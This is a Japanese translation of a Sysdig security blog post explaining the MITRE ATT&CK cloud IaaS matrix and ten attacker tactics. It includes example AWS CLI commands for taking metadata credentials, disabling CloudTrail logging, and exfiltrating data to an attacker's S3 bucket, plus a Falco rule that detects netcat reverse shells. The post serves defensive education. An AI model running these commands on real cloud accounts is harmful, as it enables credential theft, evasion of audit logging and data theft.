MITRE ATT&CK Framework for Cloudとは?| 知っておきたいTTPs10選

By 清水 孝郎 - JULY 28, 2021

SHARE:

本文の内容は、2021年7月28日にStefano Chiericiが投稿したブログ(https://sysdig.com/blog/what-is-mitre-attck-for-cloud-iaasを元に日本語に翻訳・再構成した内容となっております。

MITRE ATT&CKのクラウド向けフレームワークは、クラウド環境に関連する可能性のある脅威を特定し、クラウドインフラストラクチャーの保護に役立ちます。

MITRE ATT&CKは、高度な脅威アクターが攻撃に使用する可能性のあるすべての戦術、技術、手順(TTPs)を分析する、著名で包括的な知識ベースです。コンプライアンス基準というよりも、脅威モデルや方法論の基礎となるフレームワークです。

MITRE for cloud iaas helps you detect threats for your cloud infrastructure. Hacker trying to access to a cloud infrastructure, but it's been secured following the MITRE ATT&CK MATRIX for cloud
いずれにしても、MITRE ATT&CK フレームワークを使用してクラウド IaaS のセキュリティをモデル化し、実装することで、サイバーセキュリティチームやリスクチームが最良のセキュリティプラクティスに従うことができるため、あらゆるコンプライアンス基準に先んじて対応することができます。

MITREは、あらゆるプラットフォームや環境に対応するために、IaaSマトリクスを作成し、高度な脅威をもたらす者がクラウド環境への攻撃に使用する可能性のある特定の戦術、技術、手順(TTPs)をマッピングしました。これらの知識は、以下の10種類の戦術に分類されています:

MITRE for cloud iaas Matrix

MITRE ATT&CKマトリクスのIaaSとエンタープライズの比較とは?

以前にMITRE ATT&CKマトリックスについて読んだことがある方は、エンタープライズマトリックスについて学んだことがあるかもしれません。新しいIaaSマトリクスは、エンタープライズマトリクスのサブセットです。ここでは、IaaSがどのような位置にあり、エンタープライズマトリクスとどのように比較されるのかを見てみましょう。

MITRE ATT&CKには、エンタープライズマトリクス、モバイルマトリクス、ICS マトリクスの3つのマトリクスがあります。

モバイルマトリクスは、モバイルデバイスへのアクセスや、デバイスに物理的にアクセスしなくても使用できるネットワークベースの効果を含む技術をカバーしています。一方、ICSマトリクスは、産業用制御システムのネットワーク内で敵対者が行う可能性のある行動を対象としています。より一般的なエンタープライズマトリクスは、以下のプラットフォームの戦術、技術、手順をカバーしています:
Windows、macOS、Linux、ネットワーク、コンテナ、クラウド

Diagram of the MITRE ATT&CK Matrixes. The IaaS matrix is a subset of the MITRE ATT&CK for cloud
クラウドマトリクスは、エンタープライズマトリクスのサブセットで、クラウドベースの戦術や技術をカバーしています。以下のプラットフォームをカバーしています:
Azure AD、Office 365、Google Workspace、SaaS、IaaS

この記事で取り上げるのは、クラウドマトリクスの最後のセクションであるIaaS マトリクスです。

サブセットというよりも、MITRE ATT&CK Matrix for IaaSは専門的なものと考えてよいでしょう。このマトリクスには、エンタープライズマトリックスから、特にクラウド環境、より具体的にはInfrastructure as a Serviceを対象とした戦術や技術が含まれています。そのため、IaaSマトリクスに存在するすべての技術は、エンタープライズマトリクスにも存在します。

つまり、クラウドコンピューティングに焦点を当てている場合、エンタープライズマトリクスには心配する必要のないテクニックが数多く存在します。MITREは、IaaSマトリクスであなたをカバーしています!

カテゴリー1:初期アクセス

初期アクセスは、様々なエントリーポイントを使用して環境内で最初の足場を得るテクニックで構成されています。

これは、一般公開されているアプリケーションやウェブサーバに存在する脆弱性を利用することで起こります。また、AWS API GatewayやAWS Lambdaのような特定のクラウド機能のカスタム実装にも脆弱性があり、攻撃者のエントリーポイントになる可能性があります。こうした技術的な手法に加えて、攻撃者はスピアフィッシングなどのソーシャルエンジニアリングの手法を用いて環境への足掛かりを得ることができます。

先日、「クラウドのラテラルムーブメント」の記事で、Struts2 s2-061を実行している脆弱なコンテナを悪用することが可能であることを紹介しました。このように細工したHTTPリクエストを送ることで、リバースシェルを開始し、そこからクラウドのインフラ全体を攻撃することができます:

Example of a crafted HTTP request with a malicious payload

また、クラウド環境にアクセスできる第三者を介して初期アクセスが行われる可能性があることも注目すべき点です。攻撃者がサードパーティの企業を侵害することができれば、その企業が利用している他のクラウドのアカウントにアクセスするための有効なアカウントや認証情報を見つけることができるかもしれません。

カテゴリー2:遂行

攻撃者が、インフラへのアクセスを達成したり、発見やデータ流出などのより広範な目標を実行したりする目的で、ローカルまたはリモートのシステム上で実行される悪意のあるコードを実行するために使用するテクニックです。

攻撃者は、ユーザーの不注意を利用して悪意のあるイメージを環境上で実行し、Amazon Web Services(AWS)、Google Cloud Platform(GCP)、Azureなどのプラットフォームや、Dockerなどの一般的なコンテナランタイムでの実行を助長することがあります。

私たちは先日、「CVE-2021-20291 の緩和: CRI-O および Podman に影響する DoS」の記事で、ユーザーを騙して悪意のあるイメージを環境にデプロイすることが可能であることを紹介しました。

A malicious container posing as a valid one
バックドアを施されたイメージは、名前を使って公開リポジトリにアップロードされ、ユーザーを騙して正規のものと思わせることができます。ユーザーは、そのイメージが悪意のあるものだと気づかずに、インスタンスやコンテナをダウンロードしてデプロイしてしまいます。このような不正行為により、攻撃者は初期アクセスフェーズを回避し、環境へのアクセスを許可してしまいます。

環境に侵入すると、攻撃者はインスタンスやコンテナ内で悪意のあるコードの実行や暗号通貨のマイニングなど、他の悪意のある活動を行うことができます。

カテゴリー3:永続化

永続化は、MITRE ATT&CKフレームワークの中で、敵対者が足場を維持するために使用するテクニックで構成されており、クラウド環境全体でアクセスを維持します。

クラウド環境で永続的なアクセスを得るためには、新しい認証情報を使用し、新しいコンテナイメージを作成して、アクセス権を持つバックドアとして使用することで実現できます。

最近の脅威検出記事では、非常に寛容なクラウド構成を持つ例を紹介しました。ここでは、攻撃者がすべての権限を許可するインラインポリシーをユーザーに添付することで、グループから削除された場合に備えています:

{
  "Version": "2012-10-17",
  "Statement": {
    "Effect": "Allow",
    "Action": "iam:*",
    "Resource": "*"
  }
}

敵対者が永続化フェーズに成功すると、初期アクセスの最初のステップを行うことなく、クラウド環境やその中のリソースに自律的にアクセスできるようになります。

カテゴリー4 :特権昇格

特権昇格ンとは、敵対者がクラウドのアカウントでより高いレベルの権限を取得するためのアクションです。

システム内の権限レベルを昇格させるために、敵対者は、ファイルやバイナリに対する権限の誤設定や、そのシステム内で見つかった認証情報の使用など、一般的な権限エスカレーションの手法を使用できます。クラウドアカウント全体の権限を昇格させることで、攻撃者は実際の権限に基づいて役割を偽装し、より多くの権限を取得する方法を見つけることができます。

aws sts assume-role --role-arn "arn:aws:iam::720870426021:role/dev-EC2Full" --role-session-name AWSCLI-Session

特権を昇格させることは、システムの完全な侵害を意味するかもしれません。クラウドアカウントの場合は、クラウドアカウント全体とそこに配置されたリソースの一部または全部が侵害されることを意味します。

カテゴリー5:防御の回避

MITRE ATT&CKフレームワークにおいて、敵対者が、設置されている検知メカニズムを迂回し、環境に配備されている他の防御メカニズムを回避するために使用する可能性のある技術で構成されています。

特にクラウド環境では、クラウド事業者が提供する防御機能や防御メカニズムを回避を意味する場合があります。例えば、クラウド環境自体に強力に組み込まれている、監査ログやその他のコンプライアンス監査、変更管理機能をオフにすることです。

以下のcliコマンドは、攻撃者が、AWS環境で環境の変化を追跡し、クラウド環境で何が起こっているかを理解するために使用されるCloudWatchとcloudTrailの主要な機能を無効化または削除するために使用することができます。

aws cloudtrail stop-logging --name TrailLogs
aws cloudtrail delete-trail --name TrailLogs
aws cloudwatch disable-alarm-actions --alarm-names lambdaAlarm
aws cloudwatch delete-alarms --alarm-names lambdaAlarm

防御回避に成功すると、攻撃者は捕まることなくアクセスやアクションを行うことができます。ブルーチームにとっては、攻撃者が何をしているのか追跡できなくなることを意味します。これでは、検知できないだけでなく、攻撃の範囲を明るみに出すためのフォレンジック調査も複雑になってしまいます。さらに悪いことに、他の敵対者からの攻撃に対して脆弱な状態になってしまうかもしれません。

カテゴリー6 :クレデンシャルアクセス

クラウド環境内のシステムやサービスへのアクセスや制御を提供するクレデンシャルを収集することができるMITRE ATT&CKフレームワークのテクニックを表します。

クレデンシャルを取得するために使用される技術には、ブルートフォースや、安全でない形で保存されているクレデンシャルを見つけて取得することなどがあります。

Flow of a cloud lateral attack
Cloud Instance Metadata APIを使用することで、認証情報や機密情報を見つけることができます。特に以下のコマンドでは、クラスタノードに接続されているロールのAWS認証情報を見つけることができます。

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/nodes.darcorp-prod.com

これらの認証情報は、ラテラルムーブメントや権限昇格に使用され、よりアグレッシブな攻撃を可能にします。これらのクレデンシャルを使用して、敵対者は防御を損ねたり、データを盗んだり、あるいはクリプトマイニングのように自らの利益のためにインフラストラクチャーを使用したりすることができます。

カテゴリー7:ディスカバリー

これは、MITRE ATT&CK フレームワークの技術で構成されており、敵対者が環境、デプロイされたシステムやアプリケーション、利用可能なユーザに関する情報や一般的な知識を得ることができます。

このカテゴリーで使用される技術は、システム、アプリケーション、およびネットワークに対する通常のディスカバリー技術です。また、S3、Lambda、route53などのクラウドプロバイダーの機能に対して使用される特定のテクニックも含まれます。

攻撃者は、正当な cli コマンドを使用して、クラウド アカウントで利用可能なサービスをリストアップできます。

aws iam list-roles
aws iam list-users
aws iam list-attached-role-policies —role-name nodes.darcorp-prod.com
aws emr list-instances --cluster-id j-3C6XNQ39VR9WL
aws s3 ls

クラウド環境と稼働しているシステムをより深く理解することで、攻撃者は、貴重なデータや情報があるジューシーなサービス、つまり弱点をより的確に把握することができます。

カテゴリー8:収集

MITRE ATT&CKフレームワークの中で、敵対者の目的に基づいて、クラウドアカウント内の侵害されたシステム内で発見された情報を収集し、まとめることができる技術で構成されています。一般的なターゲットは、通常、貴重な企業ファイルや秘密、機密データ、アーカイブなどです。

この段階で敵対者が使用する技術は様々な可能性があります。情報を収集するために、内部のデータを収集するための自動化されたテクニックは、攻撃者が操作を高速化するためにしばしば使用します。すべての調査結果をまとめるために、攻撃者はデータの圧縮や暗号化を行うことがあります。これにより、攻撃者は収集したデータを不明瞭にし、流出段階でネットワーク上に送信されるデータ量を最小限に抑えることができます。収集したデータを一時的に保存するために、侵害されたマシン上の社内ストレージや、アクセス可能なバケットなどの共有クラウドスペースを利用することができます。

次のスクリーンショットは、攻撃者が弊社のハニーポットの1つにあるコンテナから設定ファイルと秘密を収集しようとしている実際の例です:

Fragment of a malicious script collecting system information
これは、攻撃者にとって非常に重要な準備段階です。データを収集した後、攻撃者はそれを盗むことを決めるかもしれません。データによっては、ログから認証情報を収集するなど、さらなる攻撃を可能にするものもあります。

カテゴリー9: Exfiltration(エクスフィルトレーション)

敵対者がハッキングされたアカウントからファイル、バックアップ、企業情報などを盗み出し、攻撃者がコントロールする別の目的地に送るために使用するMITRE ATT&CKフレームワークのテクニックを指します。新しい場所は、ローカルストレージかもしれないし、別のクラウドアカウントかもしれません。

また、前のステップで収集したデータを攻撃者のマシンに転送する方法もあります。また、クラウド上にあるデータやクラウド環境のバックアップを、同じサービス上にある自分が管理する別のクラウドアカウントに移動させることで、典型的なネットワークベースの流出検知を回避することもできます。

次のコードは、先ほどの実世界のシナリオを引き継いでいます。ここでは、攻撃者は収集したすべてのデータを攻撃者のマシンにsshでコピーしようとしていますが、このマシンはクラウド環境のインスタンスをホストしている可能性が高いです。

Fragment of a malicious script exfiltrating the collected data
その他のケースでは、攻撃者はクラウドストレージを使用してデータを流出させることができます。この例では、攻撃者はS3バケットを使用して、以前に収集したすべてのファイルをコピーし、自分のS3バケットに保存します。

aws s3 cp /tmp/collected s3://asfsdfsdf/stealed --recursive

企業にとって最悪の悪夢の一つは、データを秘密にしておくように脅迫されることです。それでも、攻撃者にお金を払えば、顧客データや業界の秘密が日の目を見ることがないというわけではありません。

カテゴリ10:インパクト

インパクトは、MITRE ATT&CK フレームワークのテクニックで構成され、敵対者が前のステップで侵害されたアカウントに対して攻撃を行うために使用します。これは、データの破損、データの完全性の侵害、企業サービスの可用性の阻害などを意味します。

このセクションで使用される古典的なテクニックとしては、サービス拒否(DoS)やデータの破壊や改ざんなどが考えられます。

With control over your cloud infrastructure, attackers can mess your data, impair services, or use your infrastructure to make money with crypto currency
クラウドインフラストラクチャーをコントロールすることで、攻撃者はデータを混乱させたり、サービスを損なったり、インフラストラクチャーを使って暗号通貨で金儲けをしたりすることができます

単純な攻撃であれば復旧できるかもしれませんが、攻撃者がインフラ全体の削除を決めた場合、復旧には数ヶ月かかるかもしれません。

その先は、、、

これまで見てきたように、MITRE ATT&CKフレームワークは、高度な脅威アクターが攻撃に使用する可能性のある戦術、技術、手順(TTPs)のほとんどをカバーしています。

しかし、環境ごとにあらゆる種類の攻撃を網羅していると考えることで、自分自身を制限してしまうことがあります。クラウドのセキュリティについて語るとき、設定ミスに焦点を当てる必要があります。クラウドインフラの設定ミスは、企業のクラウドセキュリティにとって最大の脅威です。

クラウド環境の誤設定には、S3バケットを公開したままにしたり、ユーザーに必要のない権限を与えたりすることが含まれます。これらは最も利用される侵入口の一つであり、敵対者がクラウドアカウントをハッキングしてコントロールするためにラテラルムーブメントを行うことを可能にします。

誤ったセキュリティ対策や設定ミスを避けるためには、クラウド環境での変更や活動を追跡することが不可欠です。そのため、クラウド事業者は、この目的のための貴重なツールをユーザーに提供しています。

クラウドセキュリティを実現するツール

クラウドプロバイダーから、確かなオープンソースプロジェクトやサードパーティベンダーまで、クラウドのセキュリティを確保するためのツールは、エコシステム全体に存在しています。

クラウドプロバイダーが提供するクラウドセキュリティツール

クラウドインフラストラクチャーで発生するすべてのことの痕跡である監査ログを有効にすることが、最初の手段です。誰かがユーザーを作成したり、パーミッションを変更したり、新しいインスタンスを起動したりしたらどうなるでしょうか?これらのログで追跡することができます。

各クラウド事業者はそれぞれのソリューションを用意しています。例えば、AWSのCloudTrailGCPのCloud Audit LogsAzureのAudit logsなどです。クラウドのマイクロサービスの性質に忠実に、それらのサービスはすべてプロバイダの他のセキュリティツールと統合して、それらを処理して表示したり、アラートを生成したりします。また、これらの監査ログは、サードパーティのセキュリティツールとの連携も容易で、その可能性を広げています。

オープンソースのクラウドセキュリティツール

セキュリティツールを探し始めたとき、オープンソースのツールがどれほど多いか、またオープンソースツールをベースにしているベンダーがどれほど多いかに驚かれるかもしれません。オープンソースがセキュリティを支配しているのです。ここでは、いくつかのオープンソースのクラウドセキュリティツールをチェックしてみよう。

Cloud Custodianは、Cloud Security Posture Management(CSPM)ツールです。CSPMツールは、クラウドの構成を評価し、よくある構成ミスを特定します。また、クラウドのログを監視し、脅威や設定変更を検出します。例えば、パブリックS3バケットのような設定ミスをチェックすることができます:

policies:
  - name: s3-deny-public-object-acl-poll
    resource: s3
    actions:
      - type: set-statements
        statements:
           - Sid: "DenyS3PublicObjectACL"
             Effect: "Deny"
             Action: "s3:PutObjectAcl"
             NotPrincipal:
               [...]
             Resource:
                - "arn:aws:s3:::{bucket_name}/*"
                - "arn:aws:s3:::{bucket_name}"
             Condition:
               StringEqualsIgnoreCaseIfExists:
                  's3:x-amz-acl':
                      - "public-read"
                      - "public-read-write"
                      - "authenticated-read"

上記は、S3バケットを公開しないようにするCloud Custodianルールの一例です。

もう一つの興味深いオープンソースプロジェクトは、クラウドネイティブなランタイムセキュリティプロジェクトであり、事実上のKubernetesの脅威検出エンジンであるFalcoです。

多くのクラウドセキュリティツールは、インフラに焦点を当てていますが、ワークロードが実際に何をしているかまでは把握していません。Falcoはそのギャップをカバーし、侵害されたコンテナでリバースシェルを開くなど、初期アクセスのテクニックにある異常な動作を検出します。

- rule: Netcat Remote Code Execution in Container
  desc: Netcat Program runs inside container that allows remote code execution
  condition: >
    spawned_process and container and
    ((proc.name = "nc" and (proc.args contains "-e" or proc.args contains "-c")) or
     (proc.name = "ncat" and (proc.args contains "--sh-exec" or proc.args contains "--exec" or proc.args contains "-e "
                              or proc.args contains "-c " or proc.args contains "--lua-exec"))
    )
  output: >
    Netcat runs inside container that allows remote code execution (user=%user.name
    command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: WARNING
  tags: [network, process, mitre_execution]

上記のルールは、(netcatを使用している場合)リモートシェルのオープンを検出します。

コンテナの脆弱性を悪用して、横移動でクラウド全体を危険にさらす方法を確認してください:クラウドにおけるラテラルムーブメント- 脆弱なコンテナからの侵入

Falcoは、ホストやコンテナの異常な動作を検出することに重点を置いていますが、その範囲は拡大しています。例えば、Falcoは最近、Fargateのワークロードのサポートをリリースしました。

クラウドセキュリティの商用ツール

ベンダーが価値を付加するポイントは主に2つあります。

まず、商用のツールは通常、セットアップやメンテナンスが容易です。一部のツールはSaaSとして提供されており、最小限のセットアップで数分で使い始めることができます。

また、商用のツールは、複数のソースからデータやイベントを取得し、1枚のガラスのように表示することができます。このようにして、単一のダッシュボードからインフラ全体のセキュリティ姿勢をチェックし、一度セキュリティポリシーを定義すると、それをすべての資産に適用することができます。これは、ワークロードが混在する環境やマルチクラウド環境では非常に便利です。

最近発売されたSysdig for cloudもこの理念に基づいており、コンテナとクラウド間で統一された脅威の検知と対応を追加しています。

まとめ

クラウドインフラストラクチャーには、他とは異なる点がいくつかあります。まず、クラウドアプリケーションは多種多様なサービスに分散しているため、それぞれの小さなパーツを把握して安全に保つことが難しくなっています。そして第二に、それらのサービスのすべてが単一のコンソールを通じて利用できることです。1つのアカウントが侵害されると、敵対者は膨大な量の資産にアクセスできる可能性があります。

クラウド環境向けのMITREATT&CK マトリクスは、サイバーセキュリティチームがインフラストラクチャーのセキュリティを強化するのに役立つ方法で主要な脅威を分類するため、歓迎すべき追加です。

クラウドプロバイダーは、クラウドのセキュリティを確保するために必要なツールを提供してくれますが、それ以外にも役立つリソースがあります。



Sysdig Secure for cloudでは、悪者が侵入する前に、クラウドの設定ミスに継続的にフラグを立て、流出した認証情報からの異常なログインなどの疑わしいアクティビティを検出することができます。これらはすべて1つのコンソールで実行されるため、クラウドのセキュリティ態勢を簡単に検証することができます。わずか数分で始められます。

今すぐ無料トライアルにお申し込みください!